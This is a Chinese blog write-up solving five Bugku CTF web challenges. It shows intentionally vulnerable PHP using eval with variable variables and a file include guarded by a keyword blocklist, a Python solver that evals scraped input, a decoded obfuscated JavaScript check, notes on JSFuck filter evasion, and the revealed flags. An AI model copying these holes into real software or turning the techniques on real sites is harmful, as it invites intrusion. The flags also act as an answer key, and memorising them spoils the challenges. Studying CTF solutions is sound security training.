[Bugku writeup]Web

2018-01-23  本文已影响518人  JasonChiu17

1. 变量1

http://120.24.86.145:8004/index1.php

flag In the variable!<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?> 
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(32) "0bgd7pj75r4gvmjma74erroh0ua548ss" } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" } 

2. 秋名山老司机

http://120.24.86.145:8002/qiumingshan/

def compute(url):
    import re
    import requests
    import time
    start=time.time()
    s=requests.Session()
    r=s.get(url).content
    res=r.decode('utf-8')
    pattern=r'<div>+(.*)='
    num=re.findall(pattern,res)[0]
    payload={'v':eval(num)}
    post=s.post(url,data=payload)
    ans=post.content.decode('utf-8')
    end=time.time()
    time=end-start
    return ans,num,time
<pre id="line1">
<head>  
<title>下面的表达式的值是秋名山的车速</title>  
<meta charset="UTF-8">
</head>  
<p>亲请在2s内计算老司机的车速是多少</p>  
<div>1976156964+1313866980*627121572-1733588986*2074166615+1327767956*734066020+127169629*1700978299+1015248418+326603353=?;</div>  
<style> div,p{
text-align: center;
margin: 0 auto;
} </style></pre>

In [170]: ans,num,time=compute('http://120.24.86.145:8002/qiumingshan/')

In [171]: ans
Out[171]: 'Give me value post about 1211158533+581342144-1710423515*1346714744-267781685-719739502*211086284+826861951-1225919698-262780610-1752752575=?'

In [172]: num
Out[172]: '1211158533+581342144-1710423515*1346714744-267781685-719739502*211086284+826861951-1225919698-262780610-1752752575'

In [173]: time
Out[173]: 0.051011085510253906

In [174]: ans,num,time=compute('http://120.24.86.145:8002/qiumingshan/')

In [175]: ans
Out[175]: '<head>\n<title>下面的表达式的值是秋名山的车速</title>\n<meta charset="UTF-8">\n</head>\n<p>亲请在2s内计算老司机的车速是多少</p>\n<div>1235015730*984358285+1378424693-937087764*1432282495*1127700450+1591696065+156371415-2055567131*1871454597*1729169476=?;</div>\n<style>\ndiv,p{\ntext-align: center;\nmargin: 0 auto;\n}\n</style>'

In [176]: num
Out[176]: '384279071+131797144+254241588-1540506667+476259693*514423332-789201639-1792315759-388189340-2001673090-655338289'

In [177]: time
Out[177]: 0.05509781837463379

In [178]:

3. Web4

hint:看看源代码吧

<html>  
<title>BKCTF-WEB4</title>  <body>  
<div style="display:none;">
</div>  
<form action="[index.php](view-source:http://120.24.86.145:8002/web4/index.php)" method="post" > 
看看源代码?
<br>  
<br>  
<script> 
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';

var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2)); 
</script>  
<input type="input" name="flag" id="flag" /> 
 <input type="submit" name="submit" value="Submit" />  
</form> 在好好看看。
</pre>
var p1 = 'function checkSubmit()
{var a=document.getElementById("password");
if("undefined"!=typeof a)
{if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));

4. Web5

JSPFUCK??????答案格式CTF{******}
http://120.24.86.145:8002/web5/
字母大写

  1. 脚本注入时防止过滤。
  2. 一定程度加密关键代码(生成代码很长,不适合加密大量代码。只能一定程度上加密,不能依赖)
  3. 把包含的字符做到极致,最后只剩下 ()+[]! 这六个字符。
  4. 转换后本质依然是javascript,通过javascript的一些性质来生成。

5. flag在index里

flag在index里
http://120.24.86.145:8005/post/

<html>
    <title>Bugku-ctf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
上一篇 下一篇

猜你喜欢

热点阅读